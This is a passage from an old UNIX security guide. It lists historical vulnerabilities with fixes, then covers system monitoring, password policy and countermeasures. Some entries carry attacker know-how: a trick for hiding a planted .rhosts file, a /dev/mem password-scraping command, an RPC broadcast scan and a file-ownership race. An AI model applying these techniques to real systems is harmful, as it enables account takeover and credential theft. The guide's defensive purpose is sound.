`mail'. + ++ Solution +Do not have `mail' set GID. This may require some other fixes to sendmail +and other applications. Contact your vendor for more information. + +man +--- + +- Problem +`Man' runs set GID to group man. This causes nearly the same effects as +having `man' set UID. + ++ Solution +Do not run `man' set GID. + + +Startup files +============= + +- Problem +Users have had their directories writable by others. Said others have +installed or modified `.login' and `.cshrc' files to get control of the +owner's account. (Doesn't compromise the whole system, but does compromise +the affected account). With 4.2BSD and later the ability to make a +`.rhosts' file in another user's account is an entry to that account. + +For added subtlety, have a `.logout' file that creates the `.rhosts' and a +line in `.login' that removes it, so the real user is unlikely to see it. +An abridged list follows: + +`/etc/Profile' + Global start up file for Bourne shells + +`/etc/Login' + Global start up file for C-shells + +`.profile' + User's personal start up file for Bourne shells +`.cshrc' +`.login' + User's personal start up file for C-shells + +`.logout' + Personal file executed at logout by C-shells + +`.kshrc' + User's personal start up file for Korn shells + +`.kermrc' + Used by `kermit' to personalize it's environment + +`.exrc' + Used by the `vi' editor to set up macros and such + +`.emacs' + Used by the `emacs' editor for customization + +`.mailrc' + Used by mailer programs for initialization + ++ Solution +Monitor permissions on startup files carefully. Permissons for a users +personal dot files should be 0600. + + -rw------- 1 joeuser student 1251 May 8 13:35 /home/joeuser/.cshrc + + +User Utilities +============== +User utilities have always been the target for all sorts of attack. The +chances of finding a victim are astronomical. + +Windowing Systems +----------------- +Windowing systems are the wave of the future, not only for developers +and users, but for hackers. Windowing code tends to very complex and +therefore tends to have many bugs in its infancy. Some of these bugs +[often known as features] are major security holes. + +Sunview +....... + +Sunview, also known as suntools, is used on workstations running SunOS. + +- Problem +The console's frame buffer, `/dev/fb', is world readable. This +allows clever users to dump images of a workstations screen for viewing. +This comes in handy when your professor is logged in writing up next +week's exam. + ++ Solution +Force `login' to properly set the modes of the frame buffer. Version +4.1 of SunOS provides this feature. + +- Problem +Under SunOS running the SunView windowing system, it is possible to +remotely access files using SunView selection_svc(1) subprocess and the +RPC facility. + +The selection_svc program handles all selections made by SunView client +programs. It is used to modify resource files and cut/paste +selections. The way these clients communicate with selection_svc is +through RPC calls. The problem is that the selection service process +will accept RPC requests from any user, both locally and remotely. No +authentication is preformed. + +What's worse it that it is possible to scan for local systems having +the RPC service available. The command: + + $ rpcinfo -b selection_svc 6 + +will print a list of systems running selection_svc on the local +broadcast network. + +For Sun's 386i systems, the problem is more complicated. On these +systems, selection_svc is started when '/etc/init' runs '/etc/rc'. +Because init runs as root, you tell selection_svc to read any file. + ++ Solution +Obtain the proper fix from Sun or run the X Windowing system. + + +X Windows +......... + +The X window system is used by many different systems ranging from the +Cray 2 (UNICOS 5.x) to Vax 11/785 (BSD 4.3) to IBM PC (Xenix). This +makes the probability of a hole being found much greater. + +- Problem +The `xterm' terminal emulator provided as part of X windows has a rather +bad security hole. This problem exists in X version 11, both releases 3 +and 4, and possibly other versions as well. To the best of my knowledge, +this bug has not been used in a malicious or harmful way by anyone, but the +potential is frightening. The `xterm' emulator has a feature that allows a +user to keep a logfile of what's been typed in the xterm window. The +feature also allows a command to be specified as the logfile, in which case +what would normally be written to the logfile is instead written to the +input of the given command (standard UNIX-style pipeline setup). The +security hole arises because the xterm emulator defines some escape +sequences which can be sent to the xterm window to control the logging +feature: turning logging on or off and changing the logfile name. These +escape sequences could conceivably be embedded in a mail message, and the +message sent to a victim. If the victim displays the message in an xterm +window (for example by running mail from within an xterm window), the +escape sequences will effectively cause the victim to run whatever commands +the attacker wishes. The victim will probably be unaware of the attack, +since the escape sequences are not displayed in the xterm window. + +* Test +There is no simple test to perform that will adequately show if your +system has this flaw without showing exactly how to exploit the hole. +Therefore, you should contact your local security guru. + ++ Solution +Obtain patches from your vendor or MIT. + +DECwindows +.......... + +This runs exclusively on DEC workstations. + +- Problem +DECwindows has a bug which stores user's plain text password in memory. +The password was transferred between `login' and `Xprompter' and +unfortunately will not be destroyed after authentication, even after the +user logs out. Since `/dev/mem' is readable by everybody, the password +could be obtained by scanning `/dev/mem' for a specific string pattern like + + $ od -s /dev/mem | grep assw | grep name + 12345678 name: joeuser\npassword: I'mw/7CG\n + ++ Solution +Contact you DEC vendor for fixes. + + +mail +---- + +- Problem +'/bin/mail' can be caused to invoke a root shell if given the +(im)proper arguements. + ++ Solution +Contact your vendor for the necessary patches. Sun Patch ID: 100224-01. + + + +mkdir +----- + +- Problem +Some old UNIX systems have a bug concerned with the `mkdir' command. This +bug is caused by resource competition. Taking advantage of this bug, a +user has a little chance to change the ownership of any file. This bug is +very randomized and needs a long time to reproduce. + ++ Solution +New versions of UNIX do not have this problem. Upgrade your operating +system to better your chances. + + +su +-- + +- Problem +On all Ultrix (2.x and 3.0) systems, `su' still cannot correctly track the +super user log. The following `su' tells nothing about who has become a +super user or who has tried the `su' command but failed. + + $ su < /dev/tty + +A message like: + + SU: /dev/tty on the console + SU: /dev/tty Mon Apr 1 12:20:41 1989 in the syslog file + +- Problem +At one time the `su' program with the `-s' option would execute a user's +program as shell in privileged mode; hence, the user's program could set +itself to setuid root. + ++ Solution +Contact your vendor or upgrade. + +ulimit +------ + +- Problem +On UNIX System V based systems, there is a bug which causes the password +file to be destroyed totally or to be truncated partially. When this bug +results in a partial `/etc/passwd' file, an entry similar to `xyz::0:0:::' +will be created. This bug is related to the current setting of the users +ulimit. + +* Test +There is no simple test to perform that will adequately show if your system +has this flaw without showing exactly how to exploit the hole. Therefore, +you should contact your local security guru. + ++ Solution +Contact your vendor for a fix or do not allow users to lower their ulimit +value. + +vi +-- + +- Problem +A rather barbaric race condition in `expreserve' that allows the setuid +program to be compromised by changing the permissions of a file. This bug +exists in all expreserves up to and including Berkeley 4.3. (well not +quite). On all System V and earlier releases this works. Under System V +`expreserve' places the Ex temp file in the directory +`/usr/preserve/$LOGNAME' and under the Berkeley releases it places them +under either `/usr/preserve' or `/var/preserve'. + +This feature will definitely allow security to be breached on all standard +System Vs and all Berkeley-ish systems that have the `/usr/preserve' +directory writable by the user (Note: SUNOS has this directory unwritable +by default). + +The System V bug was relatively unavoidable (though the addition of the "S" +bit to directories in SVR3.2 could close the hole) until SVR4 but the +Berkeley bug should have been fixed as soon as the `fchown()' system call +was added to BSD. Basically the "hole" is that expreserve does: + + fd = creat("/usr/preserve/Exaaa$PID, 0600); + chown("/usr/preserve/Exaaa$PID, real_uid, real_gid); + +when it should do a: + + fd = creat("/usr/preserve/Exaaa$PID, 0600); + fchown(fd, real_uid, real_gid); + +which avoids the race (it changes the permission on the inode that was +`creat()''ed and not the inode whose name is `/usr/preserve/Exaaa$PID'). +The previous examples are actually simplified as expreserve actually looks +at the uid and gid as stored in the `/tmp/Ex$PID' file and compares them to +the `getuid()' and `getgid()' return values. + +The actual race is that a context switch may occur between the `creat()' +and `chown()' in expreserve that allows another process with write +permission to the target directory to `unlink()' the `creat()''ed file and +place a hard link to another file by that name in the target directory, +which expreserve subsequentialies `chown()'s to your uid. This feature +allows any file on the same device to be `chown()''ed to you. Though you +may see support for symbolic links, on the version of UNIX that I have +tested this on, this will only change permissions on the symlink. I find +this confusing as `ELOOP' is an alleged failure condition for `chown()' +implying that a symbolic link resolution. + +* Test +The procedure for demonstrating this bug is to create a VALID non-zero +length `/tmp/Ex$PID' file and copy it to the directory where the program is +located under the name data. To do this edit a junk file, make some +changes and escape to a shell and check the `/tmp' directory for a non-zero +length `Ex$PID' file owned by you, copy it to the testing directory and run +the program that follows. Note: This program needs to be modified to run +under System V to support `/usr/preserve/$USER/Exaaa$PID' targets, it has +been tested under SUNOS 4.x and HPUX. For performance reasons, this bug +works best if you make a hard link to the target file in the directory that +expreserve places the editor temporary. Less chance sleeping on an inode +(hence the `chdir()'). + ++ Solution +Obtain a new version of `expreserve'. + +yppasswd +-------- +There have been lots of security problems with Sun's Yellow Pages facility. +Some of these involve security holes in programs; others involve the way +defaults are set when the system is shipped, such that any host in the +world is trusted. + +Programming Utilities +===================== + +TIOCCONS +-------- + +TIOCCONS is the ioctl used to redirect the output of /dev/console to go to a +specified pty. This is mostly used on workstations to redirect console +messages to a particular window. Xterm uses this feature (xterm -C). + +- Problem +It appears that the problem is that any users that use this will be able +to read information from the console. The problem is much worse under +SunOS 4.1 (and older versions). It allows the process to write on the +pty simulating data from the console. This can be hazardous if the +current user on the console is root. + ++ Solution +Contact your vendor for the appropriate patch. The SunOS Bug ID is #1008324. + + +TIOCSTI +------- + +- Problem +The TIOCSTI bug is an old one which has been fixed in 4.3BSD. But, +it has not been fixed in 4.2BSD and its derivatives. This bug allows an +ordinary user to access another terminal remotely without touching its +keyboard if the user has write permission on that terminal. + ++ Solution +To really fix this bug, it requires the upgrading of your operating +system or you have to hack the kernel alone. As a kludge, you +could modify programs such as `login', `write', `wall', +etc. to insure that the permissions on terminals are NOT world readable +at any time. This takes a considerable amount of time and effort. + + +gets() +------ + +- Problem +The `gets()' function fails to check for buffer overflow in its input. +This allows a carefully constructed string to be sent to `gets()' to +overwrite the buffer and alter the stack frame. If done properly to a set +UID/GID program, it can allow a super user shell to be created. + ++ Solution +Use `fgets()' in place of `gets()'. + + +popen() +------- + +- Problem +As written, `popen()' constructs a pipe between the calling process +and a command. It utilizes `/bin/sh'; therefore, if it is used +in set UID/GID programs, it can be fooled in executing dangerous code. + ++ Solution +Avoid using `popen()' or carefully construct your programs +environment to avoid having nasty side effects. + + +ptrace() +-------- + +- Problem +SunOS provides a variant of the 4.3 BSD ptrace() facility which permits a +process to be traced without prior arrangement if its effective UID matches +that of the tracing process (or the tracing process has super-user privileges). +Unfortunately, the effective UID alone does not necessarily describe all of +the privileges a process is entitled to use. + +Many set-UID programs desire to utilize the set-UID access permissions for +only a few operations and wish all others to occur with the privileges of +the invoking user. As process access permissions are supposed to +determined by the effective UID and GIDs only, the recommended method [1] +for a process to temporarily grant itself the privileges and restrictions +of either its invoker (real UID) or set-UID file owner (effective UID) is +to swap its real and effective UIDs via setreuid(geteuid(), getuid()) or a +similar operation. Therefore, prudent programs often execute most of their +code with their effective UID set to the invoker's UID, and enable their +set-UID privileges only when necessary to perform particular (apparently +privileged) operations. Such a process can be be manipulated with ptrace() +if one can arrange to have ptrace(PTRACE_ATTACH) applied to it while it is +running with its effective UID set to the invoker's effective UID, at which +point it can be forced to execute code specified by the tracing process, +including code which sets its effective UID back to that of the set-UID +file owner. + +A similar (but more direct) mechanism can be used to obtain the privileges +of set-GID programs. As ptrace(PTRACE_ATTACH) ignores GIDs completely, it +can be applied to virtually any set-GID program, provided that it is not +also set-UID. The process can then be manipulated in a way similar to the +set-UID programs mentioned above. + ++ Solution +This requires a fix to the kernel. It has been fixed in SunOS 4.1.1. + + +setpgrp() +--------- + +- Problem +There is a bug in 4.2BSD which allows you to set your process group and +your terminal process group to any value you like. This results in a +nasty security feature. You can send a signal to any process group +which in turn can send the signal to any process. This allows a user to +stop your favorite security daemon, bother `init' (bring the system +down to single user?), and so on... + ++ Solution +The fix for this bug requires modification to the system's kernel. For +best results, contact your vendor for an upgrade. + + +system() +-------- + +- Problem +The `system()' call, like `popen()', invokes a Bourne Shell. + ++ Solution +Don't use the `system()' call, especially in a set UID program. + + +Encryption +========== + +- Problem +There are several utilities available to encrypt on-line files to make +them unreadable. + ++ Solution +These programs are normally based on single rotor enigma encryption +engines. Schemes such as this are inherently insecure and should not be +used if you really expect the data to be safe. There is even a set +of tools publically available to decrypt files that have been +encrypted with `crypt(1)'. + + +Crypt Breakers' Workbench +------------------------- + +Crypt Breakers' Workbench --- By Robert W. Baldwin + +The Crypt Breakers' Workbench (CBW) is an interactive multi-window system +for mounting a cipher-text only attack on a file encrypted by the Unix +crypt command. CBW is a workbench in the sense that it provides the user +with an integrated set of tools that simplify the initial, middle and final +portions of the decryption process. A user interacts with the workbench by +choosing tools and setting parameters. CBW carries out the work and +displays the results. A moderately experienced user of CBW can easily +decrypt both long and short messages when bigram statistics are known for +the message space. The basic cryptanalytic techniques used by CBW are +described in a paper by Reeds and Weinberger that appeared in the October +1984 issue of the ATT Bell Laboratories Technical Journal. + + +Devices +======= +The security of devices is an important issue in UNIX. Device files are +used by the various programs to access the data on the disk drives or in +memory. If these device files are not properly protected, your system is +vulnerable to attack. + + +Memory +------ + +- Problem +Files such as `/dev/mem', `/dev/kmem', and `/dev/drum' should never be +world readable and most certainly not world writable. This results in the +user being able to read structures within the kernel called clists. Clists +contain a lot of interesting information. One of the pieces of data that +an intruder might like to see is all of the keystrokes a user is typing. +This works out well if the user is changing his password or `su'-ing to +root. A writable memory would allow a user to patch his UID in the kernel +and gain super user access immediately. + +* Test + + Under SunOS 3.5 + + ls -l /dev/*mem /dev/drum + crw-r--r-- 1 root wheel 7, 0 Jul 19 1989 /dev/drum + crw-r--r-- 1 root wheel 3, 1 Jul 19 1989 /dev/kmem + crw------- 1 root wheel 3, 3 Jul 19 1989 /dev/mbmem + crw-r--r-- 1 root wheel 3, 0 Jul 19 1989 /dev/mem + ++ Solution +If the system supports the group kmem and utilities such as `ps' and `top' +can be set GID to group kmem, this should be done and the devices should be +set to 640. If there is no notion of group kmem or an equivalent and +programs such as `ps' are set UID to root, the devices should be owned by +root and set to the mode 600. + + +Disks +----- + +- Problem +The disk devices, such as /dev/xy0c are readable by the world or +writable by the world. + +* Test +This is how things "should" look + + brw------- 1 root operator 3, 0 Dec 11 12:28 /dev/xy0a + brw------- 1 root operator 3, 1 Jul 19 1989 /dev/xy0b + brw------- 1 root operator 3, 2 Jul 19 1989 /dev/xy0c + brw------- 1 root operator 3, 3 Jul 19 1989 /dev/xy0d + brw------- 1 root operator 3, 4 Jul 19 1989 /dev/xy0e + brw------- 1 root operator 3, 5 Jul 19 1989 /dev/xy0f + brw------- 1 root operator 3, 6 Jul 19 1989 /dev/xy0g + brw------- 1 root operator 3, 7 Jul 19 1989 /dev/xy0h + ++ Solution +Investigate any possible reason why the permissions were munged and +change them to an exceptable mode immediately. + += Discussion +With very few exceptions, all devices should be owned by "root". One +exception is the terminal. These will be owned, after login, by the user +currently connected to that device. When the user logs off of that device, +it should be changed back to it's original state. Terminal port +permissions need to be watched closely. + + +Monitoring Your System +********************** + + "STOP! Or we shall be forced to severely pummel you about the head" + -- Batman + +In order to maintain a reasonable level of security, the system +administrator needs to monitor his system. This involves constantly +checking for security holes, security violations, and examining log files. +Much of this can be automated, but human intervention is normally required +to a certain degree. Monitoring programs should be used to set off bells +and whistles to the system administrator, not to manage the security. + + +Network Monitoring +================== +Keeping up with network security is extremely difficult. There are an +infinite number of ways to enter your system and its tough to know which +doors to watch, which ones to lock, and which ones can be left open. +Despite the difficulty, there are some basic tools that can be used to +help. + + +syslog +------ +The `syslog' facility is a mechanism that enables any command to log error +messages and informational messages to the system console, as well as to a +log file. Typically, error messages are logged in the file +`/usr/spool/log/syslog' along with the date, time, and name of the program +sending the message of the program. A sample segment of the `syslog' file +is shown below. + + Dec 24 12:10:06 ws1 nntpxmit: Greet=502 samt19 NNTP server can't talk to you. + Dec 24 12:25:04 ws1 nntpd: rnews: inews: comp.foo: No valid newsgroups found. + Dec 24 14:53:37 ws1 login: ROOT LOGIN ttyp3 FROM ws2.podunk.edu + Dec 24 15:18:08 ws1 login: ROOT LOGIN ttyp3 FROM ws2.podunk.edu + Dec 24 16:52:20 ws1 vmunix: sd2c: read failed, no retries + Dec 25 06:01:18 ws1 vmunix: /: file system full + Dec 25 08:02:03 ws1 login: ROOT LOGIN ttyp4 FROM wizard.hack.com + Dec 25 08:28:52 ws1 su: joeuser on /dev/ttyp3 + Dec 25 08:38:03 ws1 login: ROOT LOGIN ttyp4 FROM triceratops.itst + Dec 25 10:56:54 ws1 automount[154]: host fserv not responding + Dec 25 11:30:42 ws1 login: REPEATED LOGIN FAILURES ON ttyp3 FROM + sys1.podunk.edu, daemon + Dec 25 13:17:16 ws1 nntpxmit: Greet=502 samt19 NNTP server can't talk to you. + +Of particular interest in this sample are the messages from the `login' and +`su' programs. Whenever someone logs in as "root," `login' logs this +information. Generally, logging in as "root" directly, rather than using +the `su' command, should be discouraged, as it is hard to track which +person is actually using the account. `Login' also logs any case of +someone repeatedly trying to log in to an account and failing. After three +attempts, `login' will refuse to let the person try anymore. Searching for +these messages in the `syslog' file can alert you to a cracker attempting +to guess someone's password. Finally, when someone uses the `su' command, +either to become "root" or someone else, `su' logs the success or failure +of this operation. These messages can be used to check for users sharing +their passwords, as well as for a cracker who has penetrated one account +and is trying to penetrate others [Curr90]. + + +showmount +--------- +The `showmount' command can be used on an NFS file server to display the +names of all hosts that currently have something mounted from the server. +With no options, the program simply displays a list of all the hosts. With +the `-a' and `-d' options, the output is somewhat more useful. The first +option, `-a', causes `showmount' to list all the host and directory +combinations. For example: + + ws1.cs.podunk.edu:/usr/share + ws1.cs.podunk.edu:/usr/local + ws1.cs.podunk.edu:/var/spool/mail + ws2.cs.podunk.edu:/usr/share + ws2.cs.podunk.edu:/usr/local + ws2.cs.podunk.edu:/var/spool/mail + bart.podunk.edu:/usr/local + maggie.pudunk.edu:/usr/local + +There will be one line of output for each directory mounted by a host. +With the `-d' option, `showmount' displays a list of all directories that +are presently mounted by some host. + +The output from `showmount' should be checked for two things. +First, only machines local to your organization should appear there. +Second, only "normal" directories should be mounted. If you find +unusual directories being mounted, you should find out who is mounting +them and why -- although it is probably innocent, it may indicate +someone trying to get around your security mechanisms [Curr90]. + + +FTP Logging +----------- +Some versions of `ftp' allow administrators to turn on and off logging +information. The standard BSD4.2 `ftp' does not do it, but there are +publically available patches to the code to enable this feature. It is +highly recommended. A sample log file might look like: + + @ws5.cs.podunk.edu (bsimpson) Wed May 30 19:32:11 1990 + get /pub/gnu/gcc-1.37.tar.Z + @131.170.8.11 (intruder) Wed May 30 22:13:01 1990 + get /etc/passwd + put /pub/annoying-msg + joeuser@podunk.edu Wed Jun 6 08:19:16 1990 + get /pub/sun-source/faces-1.3.tar.Z + get /pub/gnu/emacs-18.55.tar.Z + +In the case where lines begin with an `@', an anonymous `ftp' was +preformed. Traditionally, when using anonymous `ftp' is being done, the +user supplies his login name as the password. It is done as common +courtesy for system administrators so they can evaluate the usage of the +anonymous `ftp' facility. The password is given within parenthesis after +the hostname. + +In the case where lines start with a user name, a normal user logged in to +transfer files. This allows managers to know who is transferring files +and what files they are transferring. + + +Account Monitoring +================== +Account security should be monitored periodically in order to check for +two things: + + * Users logged in when they shouldn't be (i.e., late at night, when + they're on vacation, etc.) + * Users executing commands they wouldn't normally be expected to use. + + +last +---- +`Last' looks back in the `wtmp' file which records all logins and logouts +for information about a user, a teletype or any group of users and +teletypes. Arguments specify names of users or teletypes of interest. +Names of teletypes may be given fully or abbreviated. For example `last 0' +is the same as `last tty0'. If multiple arguments are given, the +information which applies to any of the arguments is printed. For example +`last root console' would list all of "root's" sessions as well as all +sessions on the console terminal. `Last' displays the sessions of the +specified users and teletypes, most recent first, indicating the times at +which the session began, the duration of the session, and the teletype +which the session took place on. If the session is still continuing or was +cut short by a reboot, `last' so indicates. `last' with no arguments +displays a record of all logins and logouts, in reverse order. Here is an +example: + + $ last -5 joeuser + joeuser ttyp1 ws1.cs.podunk.e Wed Jun 6 10:04 still logged in + joeuser ttyp1 ws1.cs.podunk.e Wed Jun 6 10:03 - 10:04 (00:01) + joeuser ttyp3 bart.podunk.edu Tue Jun 5 15:01 - 15:01 (00:00) + joeuser ttyp0 maggie.podunk.e Tue Jun 5 10:05 - 19:44 (09:38) + joeuser console ws2.cs.podunk.e Tue Jun 5 09:49 - 10:05 (00:16) + + +lastcomm +-------- +`Lastcomm' gives information on previously executed commands. `Lastcomm' +with no arguments displays information about all the commands recorded +during the current accounting file's lifetime. If called with arguments, +`lastcomm' only displays accounting entries with a matching command name, +user name, or terminal name. For example: + + $ lastcomm + who simpsonb ttyp0 0 secs Wed Jun 6 10:03 + mesg joeuser ttyp1 0 secs Wed Jun 6 10:03 + biff joeuser ttyp1 0 secs Wed Jun 6 10:03 + csh F joeuser ttyp1 0 secs Wed Jun 6 10:03 + ... + +For each process entry, lastcomm displays the following items of +information: + + * The command name under which the process was called. + * One or more flags indicating special information about + the process. The flags have the following meanings: + + * F The process performed a fork but not an exec. + * S The process ran as a set-user-id program. + * D The process dumped memory. + * X The process was killed by some signal. + + * The name of the user who ran the process. + * The terminal which the user was logged in on at the time (if applicable). + * The amount of CPU time used by the process (in seconds). + * The date and time the process exited. + + +File System Monitoring +====================== +Checking for security holes in the file system is another important part of +making your system secure. Primarily, you need to check for files that can +be modified by unauthorized users, files that can inadvertently grant users +too many permissions, and files that can inadvertently grant access to +crackers. It is also important to be able to detect unauthorized +modifications to the file system, and to recover from these modifications +when they are made [Curr90]. + + +find +---- +`Find' recursively descends the directory hierarchy for each pathname in a +pathname-list, seeking files that match a boolean (logical) expression. +Some of the more useful expressions that can be used are: + + -name filename + True if the filename argument matches the current file name. Shell + argument syntax can be used if escaped (watch out for [, ? and *). + + -perm -onum + True if the file permission flags exactly match the octal number onum + (see `chmod'). If onum is prefixed by a minus sign, more flag bits + (017777, see `chmod') become significant and the flags are + compared: (flags&onum) == onum. + + -nouser + True if the file belongs to a user not in `/etc/passwd'. + + -nogroup + True if the file belongs to a group not in `/etc/group'. + + -exec command' + True if the executed command returns a zero value as exit status. The + end of command must be punctuated by an escaped semicolon. A command + argument {} is replaced by the current pathname. + +As an example, here is how you would get a list of all the set UID root +files on your system. + + $ find / -perm -4000 -print + /bin/df This by far not a complete list, it is here + /bin/passwd just to show you what might pop up. + /bin/login + /bin/su + /usr/bin/at + /usr/bin/tip + /usr/bin/cu + /usr/bin/uucp + /usr/etc/ping + /usr/lib/sendmail + /usr/lib/ex3.7preserve + /usr/ucb/rsh + /usr/ucb/rlogin + ... + + +Checklists +---------- +Checklists can be a useful tool for discovering unauthorized changes made +to system directories. They aren't practical on file systems that contain +users' home directories since these change all the time. A checklist is a +listing of all the files contained in a group of directories: their sizes, +owners, modification dates, and so on. Periodically, this information is +collected and compared with the information in the master checklist. Files +that do not match in all attributes can be suspected of having been +changed. + +There are several utilities that implement checklists available from public +software sites; however, a simple utility can be constructed using only the +standard UNIX `ls' and `diff' commands. + +First, use the `ls' command to generate a master list. This is best done +immediately after installing the operating system, but can be done at any +time provided you're confident about the correctness of the files on the +disk. A sample command is shown below. + + $ ls -aslgR /bin /etc /usr > MasterChecklist + +The file MasterChecklist now contains a complete list of all the files in +these directories. You will probably want to edit it and delete the lines +for files you know will be changing often (e.g., `/etc/utmp', +`/usr/adm/acct' ). The MasterChecklist file should be stored somewhere +safe where a cracker is unlikely to find it (since he could otherwise just +change the data in it): either on a different computer system, or on +magnetic tape. + +To search for changes in the file system, run the above `ls' command again, +saving the output in some other file, say CurrentList. Now use the `diff' +command to compare the two files: + + $ diff MasterChecklist CurrentList + +Lines that are only in the master checklist will be printed preceded by a +"<," and lines that are only in the current list will be preceded by a ">." +If there is one line for a file, preceded by a "<," this means that the +file has been deleted since the master checklist was created. If there is +one line for a file, preceded by a ">," this means that the file has been +created since the master checklist was created. If there are two lines for +a single file, one preceded by "<" and the other by ">," this indicates +that some attribute of the file has changed since the master checklist was +created. + +By carefully constructing the master checklist, and by remembering to +update it periodically (you can replace it with a copy of CurrentList, once +you're sure the differences between the lists are harmless), you can easily +monitor your system for unauthorized changes. The software packages +available from the public software distribution sites implement basically +the same scheme as the one here, but offer many more options for +controlling what is examined and reported. + + +Backups +------- +It is impossible to overemphasize the need for a good backup strategy. +File system backups not only protect you in the event of hardware failure +or accidental deletions, but they also protect you against unauthorized +file system changes made by a cracker. A good backup strategy will dump +the entire system at level zero (a "full" dump) at least once a week. +Partial (or "incremental") dumps should be done daily. + + +Know Your System +================ +Aside from running large monitoring programs such as those described in the +previous sections, simple everyday UNIX commands can also be useful for +spotting security violations. By running these commands often, whenever +you have a free minute (for example, while waiting for someone to answer +the phone), you will become used to seeing a specific pattern of output. +By being familiar with the processes normally running on your system, the +times different users typically log in, and so on, you can easily detect +when something is out of the ordinary. + + +ls +-- +To really know how your system is set up, you need to know what files +should or shouldn't be on your disks. Doing an `ls' periodically, will +give you a better feel for what is out there. It may also show you +suspicious files left by earlier intruders, faulty programs, or the former +keepers of your machine. Be sure to use the `-a' option to catch the +infamous `...' directory. (Of course, remember that `.' and `..' are +supposed to be there.) + + +ps and top +---------- +`Ps' displays information about processes. Normally, only those processes +that are started by you and are attached to a controlling terminal are +shown. Additional categories of processes can be added to the display +using various options. In particular, the `a' option allows you to include +processes that are not owned by you (that do not have your user ID), and +the `x' option allows you to include processes without control terminals. + +`Top' displays the top 15 processes on the system and periodically updates +this information. Raw cpu percentage is used to rank the processes. If +number is given, then the top number processes will be displayed instead of +the default. This allows you to monitor your system for a certain period +of time and see what process are using the CPU heavily and which ones +aren't. On Convex systems, there is an equivalent program called 'syspic'. + + +who and finger +-------------- +The `who' command displays the list of user currently logged in on the +system. By running this periodically, you can learn at what times during +the day different users log in. For long `who' listings, you can use the +`users' command instead. + +If you would like more information about the users logged in, use the +`finger' command. It's output is like: + + $ finger + Login Name TTY Idle When Where + joeuser Joe E. User *p0 Wed 12:01 ws1.cs.podunk.edu + simpsonb Bart Simpson p4 Wed 15:33 ch5.fox.tv.com + + +Improving Your Security +*********************** + + "It will only take a minute." + -- A UNIX Programmer + +Even after closing the numerous well-known security holes throughout your +system, security must remain that the forefront. You need to gather and +write tools to maintain your security level. These tools can be in the +form of policies to enforce, monitoring software, and learning where to go +for help. The thought of continuously improving the overall security must +remain resident. + + +Policies +======== +Policies are very important on computer systems. They dictate how a user +is supposed to act while using your resources. Although in some +environments it is difficult enough to set a policy, it is much more of a +problem to enforce. + +Password Policies +----------------- +There are several guidelines one should follow when selecting a +password. Here are some DO's and DON'T's: + + + DO use a password with mixed-case alphabetics. + + + DO use a password with NON-alphabetic characters, e.g., numbers + and/or punctuation. + + + DO use a password that contains AT LEAST six characters. + + - DON'T use your login name in any form (as is, reversed, capitalized, + doubled, followed by a digit, etc.) to construct your password. + + - DON'T use your first, middle, or last name in any form. + + - DON'T use the name of a spouse, child, girlfriend, etc. + + - DON'T use other information easily obtained. This includes your + license plate numbers, telephone numbers, social security number, the + brand of your automobile, street name, etc. + + - DON'T use a password of all numbers, or all the same letter (e.g., + 123456, 999999, AAAAAA). This significantly decreases the search time + for a hacker. + + - DON'T use a word contained in (English or foreign) dictionaries, + spelling lists, or other lists of words. + +Now here are some suggestions on how to choose a good password: + + * Choose a line or two from a song, poem, or phrase and use the first + character of each word. For example: + + Don't have a cow man! -- Bart Simpson + becomes: Dhacm!BS + + * Alternate between one consonant and one or two vowels, up to eight + characters. This provides nonsense words that are usually + pronounceable, and thus easily remembered. Examples include: + + routboo, quadpop, and so on. + + * Chose two short words or acronyms and concatenate them together with a + punctuation character between them. For example: + + dog;rain, book+mug, DoD$shoe + + * Some miscellaneous examples: + + [IIsir] A catchy phrase within brackets + u7sCaGf 7CG inside usaf + -=>99<=- Something simple for hockey fans + 100%=A+ A password you "grad" students can remember + !!URdead A little something for those on the "front" + +Also remember that the "unprintable characters" can be used as part of your +password. These keys include the ESCape key and characters made up by +holding down the control (Ctrl) key and pressing an alphabetic character. +Be sure NOT to use keys that might have special meaning to your terminal +package. These include: + + * s + * h + * | + * # + * @ + + +Software Policies +----------------- +Software can be categorized in many ways. It can be referred to as: + + 1. Proprietary + 2. Locally written + 3. Public Domain + 4. GNU + 5. Shareware + +Each of these categories are different when it comes to licensing +agreements, but when it comes right down it, a system manager has only two +types of software: supported and unsupported. + +Supported software is easy to deal with. When there is a bug, you contact +the person or companies that supports that piece of software and work with +them to get adequate corrections. Support can be given via a local +department, a vendor, or a third party. + +Unsupported software is software that your organization does not officially +support, but they do recognize that it is on the system and is being used +by the user community. This software should be installed under a seperate +directory than the locally written software, but will follow the same +directory structure. There should be NO WARRANTY as to the effectiveness +or usefulness of these programs. It should be assumed that they are +reasonably secure. This does NOT infer that they have been thouroughly +checked for possible security holes, but that they have been lightly +checked over and appear safe for general use. There are a lot of useful +and productive software packages that should not be thrown away because +your local support and vendors do not provide them. Some the best software +available is free. For example: + +GNU Emacs + An extensible self-documenting text editor + +GCC + GNU's highly rated C compiler + +University Ingres + A scaled version of the Ingres Relational database + +X-Windows + A windowing system written at M.I.T. + +RCS + Revison Control System + + +Countermeasures +=============== +Below are some thoughts on how to counter security problems. They may +not all be useful, but they can provoke thought on how to handle local +concerns. + + 1. Periodically search the inode tables on all file systems for setuid + programs owned by root and executable by ordinary users. Compare + results with a list of known legitimate programs of this kind. This is + complicated by the existence of groups and setgid, requiring further + logic to detect all dangerous cases. Also search inodes to look for + special files outside the `/dev' directory. Restrict root logins + and `su'-ing to the super-user account(s) to a very restricted + group of terminals; e.g. thoses inside the computer room. This could be + done under control of the `/etc/ttys' file, but it is safer if it + is written right into the code. Modify the `su' program so the + user has to invoke it as `/bin/su', to foil alternate `su' + programs hidden in other places that are actually password grabbers. + This could also be done with the `do' command. + + 2. Keep a log of every `login' or `su' to the root account. Best + to keep the log in a file for easy on-line examination and also to print + the information on the console in case an intruder removes or edits the + log file. + + 3. Develop a comprehensive plan for access to and control of all system + files. That is, identify which files and directories need to be readable + and writable by which users. Set up ownerships and groups to minimize + the need for use of super-user status. An added benefit of this is a + reduced number of accidents by legitimate super-users making mistakes. + Write a script to check and correct permissions. + + 4. Possibly don't allow login to root at all; make it accessible only + through `su'-ing from a known account and `do'-ing from known + "doers". The purpose is so that every entry to the super-user account + is from some other account and can be logged, so we know in every case + who became super-user. Question is whether to make root absolutely + impossible to log into, by giving it an impossible password, and then + modify `su' to let any certified good guy into root without a + password (same as having do all privileges), or do we keep the password + and modify login to refuse direct `login' as root. + + 5. Periodically check the `password' and `group' files for + improper entries or defective lines. Save the `password' file + every night and compare with previous day's file, then examine + `diff' listings for bogus accounts. + + 6. Encourage users to encrypt all sensitive text, both because of + occasional intrusions and because they shouldn't trust the 